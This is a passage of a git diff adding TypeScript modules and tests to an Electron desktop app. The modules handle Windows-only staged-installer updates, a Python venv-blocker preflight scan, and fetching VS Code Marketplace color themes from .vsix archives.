+    { detached: true, stdio: 'ignore' },
+    {
+      isWindows: false,
+      spawnProcess: (_command, _args, options) => {
+        capturedOptions = options
+
+        return { unref: () => {} }
+      }
+    }
+  )
+
+  assert.deepEqual(capturedOptions, { detached: true, stdio: 'ignore' })
+})
+
+test('resolveStagedUpdaterBinary hands Windows the staged installer it finds', () => {
+  const home = 'C:\\Users\\clawcodex\\AppData\\Local\\clawcodex'
+  const staged = path.join(home, 'clawcodex-setup.exe')
+  const probed: string[] = []
+
+  const resolved = resolveStagedUpdaterBinary(home, {
+    fileExists: candidate => {
+      probed.push(candidate)
+
+      return candidate === staged
+    },
+    isWindows: true
+  })
+
+  assert.equal(resolved, staged)
+  assert.deepEqual(probed, [staged])
+})
+
+test('resolveStagedUpdaterBinary returns null off Windows even when clawcodex-setup is staged (#74836)', () => {
+  const home = '/Users/clawcodex/.clawcodex'
+  let probes = 0
+
+  const resolved = resolveStagedUpdaterBinary(home, {
+    // The installer stages clawcodex-setup on macOS/Linux too, so "it exists" is
+    // the normal case — and precisely the one that must not win.
+    fileExists: () => {
+      probes += 1
+
+      return true
+    },
+    isWindows: false
+  })
+
+  assert.equal(resolved, null)
+  assert.equal(probes, 0)
+})
+
+test('resolveStagedUpdaterBinary returns null on Windows when nothing is staged', () => {
+  const resolved = resolveStagedUpdaterBinary('C:\\Users\\clawcodex\\AppData\\Local\\clawcodex', {
+    fileExists: () => false,
+    isWindows: true
+  })
+
+  assert.equal(resolved, null)
+})
diff --git a/ui-desktop/electron/updater-process.ts b/ui-desktop/electron/updater-process.ts
new file mode 100644
index 000000000..d417a13cc
--- /dev/null
+++ b/ui-desktop/electron/updater-process.ts
@@ -0,0 +1,141 @@
+import { spawn, type SpawnOptions } from 'node:child_process'
+import { statSync } from 'node:fs'
+import path from 'node:path'
+
+import { hiddenWindowsChildOptions } from './windows-child-options'
+
+export interface UpdaterChild {
+  pid?: number
+  unref: () => void
+}
+
+export interface ResolveStagedUpdaterBinaryDeps {
+  isWindows?: boolean
+  fileExists?: (candidate: string) => boolean
+  stagedMtimeMs?: (candidate: string) => number | null
+}
+
+/**
+ * Staged installers older than this have no self-PID exclusion in
+ * `UpdateMarkerGuard::acquire` and will refuse an update whose marker was
+ * pre-written on their behalf.
+ *
+ * The self-adopt fix landed in #74782 / 160586ff8 (2026-07-30 17:57 +0700).
+ * We compare against the start of 2026-07-31 UTC so the boundary is
+ * unambiguous for binaries staged that same day.
+ */
+export const MARKER_SELF_ADOPT_EPOCH_MS = Date.UTC(2026, 6, 31)
+
+function stagedFileExists(candidate: string): boolean {
+  try {
+    return statSync(candidate).isFile()
+  } catch {
+    return false
+  }
+}
+
+function stagedFileMtimeMs(candidate: string): number | null {
+  try {
+    return statSync(candidate).mtimeMs
+  } catch {
+    return null
+  }
+}
+
+/**
+ * Decide which staged installer binary — if any — may be handed an update.
+ *
+ * The Tauri installer self-copies into CLAWCODEX_CONFIG_DIR on *every* platform
+ * (`clawcodex-setup.exe` on Windows, `clawcodex-setup` elsewhere — see
+ * apps/bootstrap-installer `paths::installer_dest` and
+ * `bootstrap::copy_self_to_clawcodex_home`), so finding that binary on macOS or
+ * Linux is expected, not leftover junk.
+ *
+ * Handing an update to it is nonetheless a Windows-only policy. Windows needs
+ * the quit -> hand-off -> rebuild dance because a venv shim file lock keeps the
+ * running desktop from rewriting its own bits; macOS and Linux have no such
+ * lock and update in place through applyUpdatesPosixInApp(). Off Windows the
+ * hand-off therefore buys nothing and costs a great deal: a staged binary older
+ * than the hand-off protocol holds the update marker, spawns `clawcodex update`,
+ * and that child refuses its own parent — wedging the in-app Update button for
+ * good, with no route (update, re-download, reinstall) to a newer binary
+ * (#74836). Returning null off Windows is what routes those platforms to the
+ * in-app updater.
+ *
+ * Null on Windows too when nothing is staged (a dev/source run, or a CLI
+ * install that never went through the installer); callers degrade gracefully.
+ */
+export function resolveStagedUpdaterBinary(
+  clawcodexHome: string,
+  deps: ResolveStagedUpdaterBinaryDeps = {}
+): string | null {
+  const isWindows = deps.isWindows ?? process.platform === 'win32'
+
+  if (!isWindows) {
+    return null
+  }
+
+  const fileExists = deps.fileExists ?? stagedFileExists
+  const candidate = path.join(clawcodexHome, 'clawcodex-setup.exe')
+
+  return fileExists(candidate) ? candidate : null
+}
+
+/**
+ * True when the staged installer is new enough to survive a pre-written marker.
+ *
+ * `copy_self_to_clawcodex_home` deliberately no-ops during `--update`
+ * (apps/bootstrap-installer/src-tauri/src/paths.rs), so the binary staged by a
+ * user's ORIGINAL install orchestrates every later update — forever. Installers
+ * predating #74782 have no self-PID exclusion in `UpdateMarkerGuard::acquire`,
+ * so when the desktop pre-writes the marker naming that very updater, the
+ * updater reads its own claim as a foreign live owner and aborts with
+ * "Another ClawCodex update is already running (PID <itself>, started 1s ago)" —
+ * the observed infinite "Install didn't finish" loop. Skipping the pre-write
+ * for those binaries lets them acquire cleanly and run `clawcodex update`, which
+ * pulls the permanent fixes. See shouldPrewriteUpdateMarker.
+ *
+ * We cannot ask the binary its version without executing it, so use its mtime:
+ * the installer is written to CLAWCODEX_CONFIG_DIR at install/repair time, making mtime
+ * a faithful stamp of which installer generation produced it.
+ *
+ * Unreadable mtime counts as UNSUPPORTED — the pre-write is a best-effort
+ * hardening, while a wedged updater is unrecoverable, so we bias toward the
+ * path that can always make progress.
+ */
+export function stagedUpdaterSupportsPrewrittenMarker(
+  candidate: string,
+  deps: ResolveStagedUpdaterBinaryDeps = {}
+): boolean {
+  const mtimeMs = (deps.stagedMtimeMs ?? stagedFileMtimeMs)(candidate)
+
+  return typeof mtimeMs === 'number' && Number.isFinite(mtimeMs) && mtimeMs >= MARKER_SELF_ADOPT_EPOCH_MS
+}
+
+export interface SpawnUpdaterProcessDeps {
+  isWindows?: boolean
+  spawnProcess?: (command: string, args: string[], options: SpawnOptions) => UpdaterChild
+}
+
+/**
+ * Spawn the detached installer used for update and bootstrap-recovery handoffs.
+ * The helper owns both hidden-console selection and unref semantics so every
+ * updater handoff follows the same behavior and can be tested without Electron.
+ */
+export function spawnUpdaterProcess(
+  updater: string,
+  updaterArgs: string[],
+  options: SpawnOptions,
+  deps: SpawnUpdaterProcessDeps = {}
+): UpdaterChild {
+  const isWindows = deps.isWindows ?? process.platform === 'win32'
+  const spawnOptions = hiddenWindowsChildOptions(options, isWindows) as SpawnOptions
+
+  const child = deps.spawnProcess
+    ? deps.spawnProcess(updater, updaterArgs, spawnOptions)
+    : spawn(updater, updaterArgs, spawnOptions)
+
+  child.unref()
+
+  return child
+}
diff --git a/ui-desktop/electron/venv-blocker-scan.test.ts b/ui-desktop/electron/venv-blocker-scan.test.ts
new file mode 100644
index 000000000..1d9a855db
--- /dev/null
+++ b/ui-desktop/electron/venv-blocker-scan.test.ts
@@ -0,0 +1,218 @@
+'use strict'
+
+/**
+ * Tests for apps/desktop/electron/venv-blocker-scan.ts
+ *
+ * Run with: npx vitest run electron/venv-blocker-scan.test.ts
+ * (from apps/desktop; wired into npm test:desktop:platforms)
+ */
+
+import assert from 'node:assert/strict'
+import fs from 'node:fs'
+import os from 'node:os'
+import path from 'node:path'
+
+import { describe, it } from 'vitest'
+
+import {
+  formatBlockerMessage,
+  formatProbeFailedMessage,
+  parseVenvBlockerScanOutput,
+  resolveVenvPython,
+  scanVenvBlockers
+} from './venv-blocker-scan'
+
+// ---------------------------------------------------------------------------
+// resolveVenvPython
+// ---------------------------------------------------------------------------
+
+describe('resolveVenvPython', () => {
+  it('returns a real path when a temp venv python file exists', () => {
+    const sandbox = fs.mkdtempSync(path.join(os.tmpdir(), 'clawcodex-vt-'))
+
+    try {
+      const scriptsDir = process.platform === 'win32' ? 'Scripts' : 'bin'
+      const pythonName = process.platform === 'win32' ? 'python.exe' : 'python3'
+      const dir = path.join(sandbox, 'venv', scriptsDir)
+      fs.mkdirSync(dir, { recursive: true })
+      const pyPath = path.join(dir, pythonName)
+      fs.writeFileSync(pyPath, '', { mode: 0o755 })
+      assert.equal(resolveVenvPython(sandbox), pyPath)
+    } finally {
+      fs.rmSync(sandbox, { recursive: true, force: true })
+    }
+  })
+
+  it('returns null for non-existent venv', () => {
+    assert.equal(resolveVenvPython('/nonexistent'), null)
+  })
+})
+
+// ---------------------------------------------------------------------------
+// formatBlockerMessage / formatProbeFailedMessage
+// ---------------------------------------------------------------------------
+
+describe('formatBlockerMessage', () => {
+  it('includes PID, name, cmdline, remote-client warning, and retry suggestion', () => {
+    const msg = formatBlockerMessage({
+      blocked: true,
+      processes: [{ pid: 101, name: 'python.exe', cmdline: 'serve --host 10.0.0.1' }]
+    })
+
+    assert.ok(msg.includes('PID 101'))
+    assert.ok(msg.includes('python.exe'))
+    assert.ok(msg.includes('serve'))
+    assert.ok(msg.includes('remote backend'))
+    assert.ok(msg.includes('retry'))
+    assert.ok(!msg.includes('force-venv'))
+  })
+})
+
+describe('formatProbeFailedMessage', () => {
+  it('suggests retry and clawcodex update', () => {
+    const msg = formatProbeFailedMessage()
+    assert.ok(msg.includes('clawcodex update'))
+    assert.ok(msg.includes('retry'))
+  })
+})
+
+// ---------------------------------------------------------------------------
+// parseVenvBlockerScanOutput — pure function
+// ---------------------------------------------------------------------------
+
+describe('parseVenvBlockerScanOutput', () => {
+  const ok = (over: any = {}) => JSON.stringify({ ok: true, blocked: false, processes: [], ...over })
+
+  it('valid clear', () => {
+    const o = parseVenvBlockerScanOutput(ok())
+    assert.equal(o.kind, 'clear')
+  })
+
+  it('valid blocked', () => {
+    const o = parseVenvBlockerScanOutput(
+      ok({
+        blocked: true,
+        processes: [{ pid: 1, name: 'p', cmdline: 'c' }]
+      })
+    )
+
+    assert.equal(o.kind, 'blocked')
+  })
+
+  it('malformed JSON', () => {
+    assert.equal(parseVenvBlockerScanOutput('not json').kind, 'probe-failure')
+  })
+
+  it('ok=false is rejected', () => {
+    assert.equal(
+      parseVenvBlockerScanOutput(JSON.stringify({ ok: false, blocked: false, processes: [] })).kind,
+      'probe-failure'
+    )
+  })
+
+  it('blocked must be boolean', () => {
+    assert.equal(parseVenvBlockerScanOutput(ok({ blocked: 'false' })).kind, 'probe-failure')
+  })
+
+  it('blocked=true with empty processes rejected', () => {
+    assert.equal(parseVenvBlockerScanOutput(ok({ blocked: true, processes: [] })).kind, 'probe-failure')
+  })
+
+  it('blocked=false with non-empty processes rejected', () => {
+    assert.equal(
+      parseVenvBlockerScanOutput(ok({ processes: [{ pid: 1, name: 'p', cmdline: 'c' }] })).kind,
+      'probe-failure'
+    )
+  })
+
+  it('process pid must be positive integer', () => {
+    assert.equal(
+      parseVenvBlockerScanOutput(ok({ blocked: true, processes: [{ pid: 0, name: 'p', cmdline: 'c' }] })).kind,
+      'probe-failure'
+    )
+  })
+
+  it('process name must be non-empty string', () => {
+    assert.equal(
+      parseVenvBlockerScanOutput(ok({ blocked: true, processes: [{ pid: 1, name: '', cmdline: 'c' }] })).kind,
+      'probe-failure'
+    )
+  })
+
+  it('process missing cmdline is rejected', () => {
+    assert.equal(
+      parseVenvBlockerScanOutput(ok({ blocked: true, processes: [{ pid: 1, name: 'p' }] })).kind,
+      'probe-failure'
+    )
+  })
+})
+
+// ---------------------------------------------------------------------------
+// scanVenvBlockers — subprocess with injection
+// ---------------------------------------------------------------------------
+
+describe('scanVenvBlockers', () => {
+  const stubVenv = () => '/fake/venv/python.exe'
+  const okJson = JSON.stringify({ ok: true, blocked: false, processes: [] })
+
+  const blockedJson = JSON.stringify({
+    ok: true,
+    blocked: true,
+    processes: [{ pid: 1, name: 'p', cmdline: 'c' }]
+  })
+
+  function execReturn(json: string): any {
+    return (async (...args: any[]) => ({ stdout: json, stderr: '' })) as any
+  }
+
+  function execThrow(status: number, stderr: string): any {
+    return (async (...args: any[]) => {
+      const e: any = new Error()
+      e.status = status
+      e.stderr = Buffer.from(stderr)
+      throw e
+    }) as any
+  }
+
+  it('clear scan returns clear', async () => {
+    assert.equal((await scanVenvBlockers('/r', execReturn(okJson), stubVenv)).kind, 'clear')
+  })
+
+  it('blocked scan returns blocked', async () => {
+    assert.equal((await scanVenvBlockers('/r', execReturn(blockedJson), stubVenv)).kind, 'blocked')
+  })
+
+  it('non-zero exit is probe-failure', async () => {
+    const o = await scanVenvBlockers('/r', execThrow(2, 'ModuleNotFoundError'), stubVenv)
+    assert.equal(o.kind, 'probe-failure')
+  })
+
+  it('missing venv python is probe-failure', async () => {
+    const o = await scanVenvBlockers('/r', execReturn(okJson), () => null)
+    assert.equal(o.kind, 'probe-failure')
+  })
+
+  it('malformed subprocess output is probe-failure', async () => {
+    const o = await scanVenvBlockers('/r', execReturn('bad json'), stubVenv)
+    assert.equal(o.kind, 'probe-failure')
+  })
+
+  it('calls subprocess with correct args, cwd and timeout', async () => {
+    const calls: any[] = []
+
+    const spy = (async (cmd: string, args: string[], opts: any) => {
+      calls.push({ cmd, args, cwd: opts.cwd, timeout: opts.timeout })
+
+      return { stdout: okJson, stderr: '' }
+    }) as any
+
+    await scanVenvBlockers('/update/root', spy, stubVenv)
+    assert.equal(calls.length, 1)
+    const c = calls[0]
+    assert.ok(c.cmd.endsWith('python.exe'))
+    assert.deepEqual(c.args, ['-m', 'clawcodex_cli._scan_venv_blockers'])
+    assert.equal(c.cwd, '/update/root')
+    assert.equal(typeof c.timeout, 'number')
+    assert.ok(c.timeout > 0)
+  })
+})
diff --git a/ui-desktop/electron/venv-blocker-scan.ts b/ui-desktop/electron/venv-blocker-scan.ts
new file mode 100644
index 000000000..3419c5400
--- /dev/null
+++ b/ui-desktop/electron/venv-blocker-scan.ts
@@ -0,0 +1,214 @@
+'use strict'
+
+/**
+ * venv-blocker-scan.ts
+ *
+ * Thin helper that runs the Python venv-blocker scan as a subprocess and
+ * returns a typed result for the Desktop update preflight.
+ */
+
+import { execFile } from 'node:child_process'
+import fs from 'node:fs'
+import path from 'node:path'
+import { promisify } from 'node:util'
+
+const execFileAsync = promisify(execFile)
+
+// ---------------------------------------------------------------------------
+// Types
+// ---------------------------------------------------------------------------
+
+export interface VenvBlockerProcess {
+  pid: number
+  name: string
+  cmdline: string
+}
+
+export interface VenvBlockerScanResult {
+  blocked: boolean
+  processes: VenvBlockerProcess[]
+}
+
+export type ScanOutcome =
+  | { kind: 'clear'; result: VenvBlockerScanResult }
+  | { kind: 'blocked'; result: VenvBlockerScanResult }
+  | { kind: 'probe-failure'; error: string }
+
+// ---------------------------------------------------------------------------
+// Constants
+// ---------------------------------------------------------------------------
+
+const SCAN_TIMEOUT_MS = 15000
+const SCAN_MODULE = 'clawcodex_cli._scan_venv_blockers'
+
+// ---------------------------------------------------------------------------
+// Public API
+// ---------------------------------------------------------------------------
+
+/**
+ * Strictly validate and parse the JSON output from the venv-blocker scan.
+ * Pure function — no side effects.
+ */
+export function parseVenvBlockerScanOutput(raw: string): ScanOutcome {
+  let parsed: any
+
+  try {
+    parsed = JSON.parse(raw)
+  } catch {
+    return { kind: 'probe-failure', error: 'malformed JSON' }
+  }
+
+  if (!parsed || typeof parsed !== 'object' || parsed.ok !== true) {
+    return { kind: 'probe-failure', error: 'missing or invalid ok field' }
+  }
+
+  if (typeof parsed.blocked !== 'boolean') {
+    return { kind: 'probe-failure', error: 'blocked must be a boolean' }
+  }
+
+  if (!Array.isArray(parsed.processes)) {
+    return { kind: 'probe-failure', error: 'processes must be an array' }
+  }
+
+  const processes: VenvBlockerProcess[] = []
+
+  for (const entry of parsed.processes) {
+    if (!entry || typeof entry !== 'object') {
+      return { kind: 'probe-failure', error: 'process entry must be an object' }
+    }
+
+    const { pid, name, cmdline } = entry
+
+    if (!Number.isInteger(pid) || pid <= 0) {
+      return { kind: 'probe-failure', error: 'process pid must be a positive integer' }
+    }
+
+    if (typeof name !== 'string' || name.length === 0) {
+      return { kind: 'probe-failure', error: 'process name must be a non-empty string' }
+    }
+
+    if (typeof cmdline !== 'string') {
+      return { kind: 'probe-failure', error: 'process cmdline must be a string' }
+    }
+
+    processes.push({ pid, name, cmdline })
+  }
+
+  // Reject inconsistent combinations
+  if (parsed.blocked && processes.length === 0) {
+    return { kind: 'probe-failure', error: 'blocked is true but process list is empty' }
+  }
+
+  if (!parsed.blocked && processes.length > 0) {
+    return { kind: 'probe-failure', error: 'blocked is false but process list is non-empty' }
+  }
+
+  return parsed.blocked
+    ? { kind: 'blocked', result: { blocked: true, processes } }
+    : { kind: 'clear', result: { blocked: false, processes } }
+}
+
+/**
+ * Run the venv-blocker scan subprocess.  Async so the Electron main-process
+ * event loop is never blocked by the psutil process scan (up to 15s on a
+ * loaded Windows box).  Accepts optional overrides for testing (dependency
+ * injection).
+ */
+export async function scanVenvBlockers(
+  updateRoot: string,
+  execOverride?: typeof execFileAsync,
+  resolveOverride?: typeof resolveVenvPython
+): Promise<ScanOutcome> {
+  const execFn = execOverride || execFileAsync
+  const resolveFn = resolveOverride || resolveVenvPython
+  const venvPython = resolveFn(updateRoot)
+
+  if (!venvPython) {
+    return { kind: 'probe-failure', error: 'venv python not found' }
+  }
+
+  let stdout: string
+
+  try {
+    const proc = await execFn(venvPython, ['-m', SCAN_MODULE], {
+      cwd: updateRoot,
+      encoding: 'utf-8',
+      timeout: SCAN_TIMEOUT_MS,
+      windowsHide: true
+    } as any)
+
+    stdout = String((proc as any).stdout ?? '')
+  } catch (err: any) {
+    const diag = [`exit code ${err.status ?? err.code ?? -1}`]
+
+    if (err.stderr) {
+      diag.push(String(err.stderr).slice(0, 200))
+    }
+
+    return { kind: 'probe-failure', error: diag.join('; ') }
+  }
+
+  return parseVenvBlockerScanOutput(stdout)
+}
+
+// ---------------------------------------------------------------------------
+// Internal helpers (exported for testing)
+// ---------------------------------------------------------------------------
+
+/** Resolve the venv python path.  Returns null if the file does not exist. */
+export function resolveVenvPython(updateRoot: string): string | null {
+  const isWindows = process.platform === 'win32'
+  const pythonName = isWindows ? 'python.exe' : 'python3'
+  const scriptsDir = isWindows ? 'Scripts' : 'bin'
+  const candidate = path.join(updateRoot, 'venv', scriptsDir, pythonName)
+
+  try {
+    fs.accessSync(candidate)
+
+    return candidate
+  } catch {
+    return null
+  }
+}
+
+/**
+ * Build a human-readable error message from blocker scan results.
+ * Does NOT recommend --force-venv.
+ */
+export function formatBlockerMessage(result: VenvBlockerScanResult): string {
+  const lines = [
+    'Update aborted: another ClawCodex process is using this installation.',
+    '',
+    'These processes must be stopped before updating:',
+    ''
+  ]
+
+  for (const proc of result.processes.slice(0, 10)) {
+    lines.push(`  PID ${proc.pid}  ${proc.name}  ${proc.cmdline}`)
+  }
+
+  if (result.processes.length > 10) {
+    lines.push(`  ... and ${result.processes.length - 10} more`)
+  }
+
+  lines.push('')
+  lines.push(
+    'Close the terminal, app, or service owning that process.  If it is a ' +
+      'remote backend, stopping it will disconnect remote clients.'
+  )
+  lines.push('Then retry the update.')
+
+  return lines.join('\n')
+}
+
+/**
+ * Build a probe-failure error message.
+ */
+export function formatProbeFailedMessage(): string {
+  return (
+    'Update aborted: Desktop could not verify the ClawCodex installation is free.\n' +
+    '\n' +
+    'Close other ClawCodex windows and terminals, then retry.  If the problem\n' +
+    'persists, run `clawcodex update` in a terminal for detailed diagnostics.'
+  )
+}
diff --git a/ui-desktop/electron/vscode-marketplace.test.ts b/ui-desktop/electron/vscode-marketplace.test.ts
new file mode 100644
index 000000000..adbdfbe6f
--- /dev/null
+++ b/ui-desktop/electron/vscode-marketplace.test.ts
@@ -0,0 +1,113 @@
+import assert from 'node:assert'
+
+import { test } from 'vitest'
+
+import { __testing, extractThemes, readCentralDirectory } from './vscode-marketplace'
+
+// Build a minimal zip with stored (uncompressed) entries so the test controls
+// the bytes exactly — exercises the central-directory reader + theme extraction
+// without a deflate dependency.
+function makeZip(entries) {
+  const locals = []
+  const centrals = []
+  let offset = 0
+
+  for (const { name, data } of entries) {
+    const nameBuf = Buffer.from(name, 'utf8')
+    const body = Buffer.from(data, 'utf8')
+
+    const local = Buffer.alloc(30 + nameBuf.length)
+    local.writeUInt32LE(0x04034b50, 0)
+    local.writeUInt16LE(0, 8) // method: stored
+    local.writeUInt32LE(body.length, 18) // compressed size
+    local.writeUInt32LE(body.length, 22) // uncompressed size
+    local.writeUInt16LE(nameBuf.length, 26)
+    nameBuf.copy(local, 30)
+
+    locals.push(local, body)
+
+    const central = Buffer.alloc(46 + nameBuf.length)
+    central.writeUInt32LE(0x02014b50, 0)
+    central.writeUInt16LE(0, 10) // method: stored
+    central.writeUInt32LE(body.length, 20)
+    central.writeUInt32LE(body.length, 24)
+    central.writeUInt16LE(nameBuf.length, 28)
+    central.writeUInt32LE(offset, 42) // local header offset
+    nameBuf.copy(central, 46)
+
+    centrals.push(central)
+    offset += local.length + body.length
+  }
+
+  const centralStart = offset
+  const centralBuf = Buffer.concat(centrals)
+
+  const eocd = Buffer.alloc(22)
+  eocd.writeUInt32LE(0x06054b50, 0)
+  eocd.writeUInt16LE(entries.length, 8)
+  eocd.writeUInt16LE(entries.length, 10)
+  eocd.writeUInt32LE(centralBuf.length, 12)
+  eocd.writeUInt32LE(centralStart, 16)
+
+  return Buffer.concat([...locals, centralBuf, eocd])
+}
+
+test('readCentralDirectory finds every entry', () => {
+  const zip = makeZip([
+    { name: 'extension/package.json', data: '{}' },
+    { name: 'extension/themes/x.json', data: '{}' }
+  ])
+
+  const records = readCentralDirectory(zip)
+  assert.ok(records.has('extension/package.json'))
+  assert.ok(records.has('extension/themes/x.json'))
+})
+
+test('extractThemes reads contributed color themes (resolving ./ paths)', () => {
+  const pkg = JSON.stringify({
+    name: 'theme-dracula',
+    displayName: 'Dracula',
+    contributes: {
+      themes: [{ label: 'Dracula', uiTheme: 'vs-dark', path: './themes/dracula.json' }]
+    }
+  })
+
+  const themeJson = JSON.stringify({ name: 'Dracula', type: 'dark', colors: { 'editor.background': '#282a36' } })
+
+  const zip = makeZip([
+    { name: 'extension/package.json', data: pkg },
+    { name: 'extension/themes/dracula.json', data: themeJson }
+  ])
+
+  const themes = extractThemes(zip)
+  assert.strictEqual(themes.length, 1)
+  assert.strictEqual(themes[0].label, 'Dracula')
+  assert.strictEqual(themes[0].uiTheme, 'vs-dark')
+  assert.match(themes[0].contents, /editor\.background/)
+})
+
+test('extractThemes returns empty when the extension contributes no themes', () => {
+  const zip = makeZip([{ name: 'extension/package.json', data: JSON.stringify({ name: 'x', contributes: {} }) }])
+  assert.deepStrictEqual(extractThemes(zip), [])
+})
+
+test('extractThemes throws when the manifest is missing', () => {
+  const zip = makeZip([{ name: 'extension/other.txt', data: 'hi' }])
+  assert.throws(() => extractThemes(zip), /manifest missing/i)
+})
+
+test('looksLikeIconTheme filters icon/product-icon packs out of theme search', () => {
+  const { looksLikeIconTheme } = __testing
+
+  // Tagged contribution points are the strongest signal.
+  assert.strictEqual(looksLikeIconTheme({ tags: ['theme', 'icon-theme'] }), true)
+  assert.strictEqual(looksLikeIconTheme({ tags: ['product-icon-theme'] }), true)
+
+  // Name/description fallback for packs that don't tag themselves.
+  assert.strictEqual(looksLikeIconTheme({ displayName: 'Material Icon Theme' }), true)
+  assert.strictEqual(looksLikeIconTheme({ shortDescription: 'A pack of file icons.' }), true)
+
+  // Real color themes survive.
+  assert.strictEqual(looksLikeIconTheme({ displayName: 'Dracula Official', tags: ['theme', 'color-theme'] }), false)
+  assert.strictEqual(looksLikeIconTheme({ displayName: 'One Dark Pro' }), false)
+})
diff --git a/ui-desktop/electron/vscode-marketplace.ts b/ui-desktop/electron/vscode-marketplace.ts
new file mode 100644
index 000000000..b636b6d0f
--- /dev/null
+++ b/ui-desktop/electron/vscode-marketplace.ts
@@ -0,0 +1,337 @@
+/**
+ * VS Code Marketplace color-theme fetcher (main process).
+ *
+ * Resolves an extension's latest version via the (undocumented but stable)
+ * gallery ExtensionQuery API, downloads the `.vsix` (a zip), and extracts the
+ * color-theme JSON files it contributes. No theme code is ever executed — we
+ * only read `package.json` + the referenced `*.json` theme files out of the
+ * archive and hand their text back to the renderer to convert.
+ *
+ * Dependency-free on purpose: a `.vsix` is a plain zip, so we parse the central
+ * directory and inflate just the entries we need with `zlib`. Avoids pulling a
+ * zip library into the desktop bundle for a feature this small.
+ */
+
+import https from 'node:https'
+import zlib from 'node:zlib'
+
+const GALLERY_QUERY_URL = 'https://marketplace.visualstudio.com/_apis/public/gallery/extensionquery'
+const VSIX_ASSET_TYPE = 'Microsoft.VisualStudio.Services.VSIXPackage'
+const MAX_VSIX_BYTES = 40 * 1024 * 1024 // 40 MB — themes are tiny; this is paranoia.
+const MAX_REDIRECTS = 5
+const REQUEST_TIMEOUT_MS = 20_000
+
+const ID_RE = /^[\w-]+\.[\w-]+$/
+
+/** Minimal HTTPS helper with redirect-following, timeout, and a size cap. */
+function request(
+  url,
+  { method = 'GET', headers = {}, body = null, maxBytes = MAX_VSIX_BYTES } = {},
+  redirectsLeft = MAX_REDIRECTS
+): Promise<Buffer<ArrayBuffer>> {
+  return new Promise((resolve, reject) => {
+    const req = https.request(url, { method, headers }, res => {
+      const status = res.statusCode ?? 0
+
+      if (status >= 300 && status < 400 && res.headers.location) {
+        if (redirectsLeft <= 0) {
+          res.resume()
+          reject(new Error('Too many redirects.'))
+
+          return
+        }
+
+        const next = new URL(res.headers.location, url).toString()
+        res.resume()
+        // Redirects to the CDN are plain GETs (drop the POST body).
+        resolve(
+          request(
+            next,
+            { method: 'GET', headers: { 'User-Agent': headers['User-Agent'] }, maxBytes },
+            redirectsLeft - 1
+          )
+        )
+
+        return
+      }
+
+      if (status < 200 || status >= 300) {
+        res.resume()
+        reject(new Error(`Request failed (${status}) for ${url}`))
+
+        return
+      }
+
+      const chunks = []
+      let total = 0
+
+      res.on('data', chunk => {
+        total += chunk.length
+
+        if (total > maxBytes) {
+          req.destroy()
+          reject(new Error('Response exceeded the size limit.'))
+
+          return
+        }
+
+        chunks.push(chunk)
+      })
+      res.on('end', () => resolve(Buffer.concat(chunks)))
+    })
+
+    req.on('error', reject)
+    req.setTimeout(REQUEST_TIMEOUT_MS, () => req.destroy(new Error('Request timed out.')))
+
+    if (body) {
+      req.write(body)
+    }
+
+    req.end()
+  })
+}
+
+/** Resolve `{ displayName, vsixUrl }` for the latest version of `id`. */
+async function resolveExtension(id) {
+  const json = await queryGallery({
+    // FilterType 7 = ExtensionName (the full publisher.extension id).
+    filters: [{ criteria: [{ filterType: 7, value: id }], pageNumber: 1, pageSize: 1 }],
+    // Flags: IncludeFiles | IncludeVersionProperties | IncludeAssetUri |
+    // IncludeCategoryAndTags | IncludeLatestVersionOnly = 914.
+    flags: 914
+  })
+
+  const extension = json?.results?.[0]?.extensions?.[0]
+
+  if (!extension) {
+    throw new Error(`Extension "${id}" was not found on the Marketplace.`)
+  }
+
+  const version = extension.versions?.[0]
+
+  if (!version) {
+    throw new Error(`Extension "${id}" has no published versions.`)
+  }
+
+  const asset = (version.files ?? []).find(file => file.assetType === VSIX_ASSET_TYPE)
+  const vsixUrl = asset?.source
+
+  if (!vsixUrl) {
+    throw new Error(`Could not find a downloadable package for "${id}".`)
+  }
+
+  return { displayName: extension.displayName || id, vsixUrl }
+}
+
+/** POST an ExtensionQuery payload and return the parsed gallery response. */
+async function queryGallery(payload, { maxBytes = 4 * 1024 * 1024 } = {}) {
+  const body = JSON.stringify(payload)
+
+  const raw = await request(GALLERY_QUERY_URL, {
+    method: 'POST',
+    headers: {
+      Accept: 'application/json;api-version=3.0-preview.1',
+      'Content-Type': 'application/json',
+      'Content-Length': Buffer.byteLength(body),
+      'User-Agent': 'ClawCodex-Desktop'
+    },
+    body,
+    maxBytes
+  })
+
+  return JSON.parse(raw.toString('utf8'))
+}
+
+/**
+ * Search the Marketplace for color-theme extensions. With an empty query this
+ * returns the most-installed themes; with a query it's a full-text search
+ * scoped to the Themes category. Returns lightweight cards (no download).
+ */
+/**
+ * The "Themes" category also contains file-icon and product-icon themes (the
+ * gallery has no color-only category). We can't see an extension's actual
+ * contributions without downloading it, so filter the obvious icon packs out by
+ * tag + name/description. Color themes that also ship icons are rare; worst case
+ * a user installs them by exact id from settings.
+ */
+function looksLikeIconTheme(extension) {
+  const tags = (extension.tags ?? []).map(tag => String(tag).toLowerCase())
+
+  if (tags.includes('icon-theme') || tags.includes('product-icon-theme')) {
+    return true
+  }
+
+  const text = `${extension.displayName ?? ''} ${extension.shortDescription ?? ''}`.toLowerCase()
+
+  return /\b(icon theme|file icons?|product icons?|icon pack|fileicons)\b/.test(text)
+}
+
+async function searchMarketplaceThemes(query, limit = 20) {
+  const text = String(query || '').trim()
+  const pageSize = Math.min(Math.max(Number(limit) || 20, 1), 50)
+
+  // FilterType: 8=Target, 5=Category, 10=SearchText, 12=ExcludeWithFlags.
+  const criteria = [
+    { filterType: 8, value: 'Microsoft.VisualStudio.Code' },
+    { filterType: 5, value: 'Themes' },
+    { filterType: 12, value: '4096' } // Exclude unpublished (Unpublished = 0x1000).
+  ]
+
+  if (text) {
+    criteria.push({ filterType: 10, value: text })
+  }
+
+  const json = await queryGallery({
+    // Over-fetch so the icon-theme filter below still leaves a full page.
+    filters: [{ criteria, pageNumber: 1, pageSize: Math.min(pageSize * 2, 50), sortBy: 4, sortOrder: 0 }],
+    // IncludeStatistics (0x100) | IncludeLatestVersionOnly (0x200) | IncludeCategoryAndTags (0x4).
+    flags: 772
+  })
+
+  const extensions = json?.results?.[0]?.extensions ?? []
+
+  return extensions
+    .filter(extension => !looksLikeIconTheme(extension))
+    .slice(0, pageSize)
+    .map(extension => {
+      const publisherName = extension.publisher?.publisherName ?? ''
+      const installStat = (extension.statistics ?? []).find(stat => stat.statisticName === 'install')
+
+      return {
+        extensionId: `${publisherName}.${extension.extensionName}`,
+        displayName: extension.displayName || extension.extensionName,
+        publisher: extension.publisher?.displayName || publisherName,
+        description: extension.shortDescription || '',
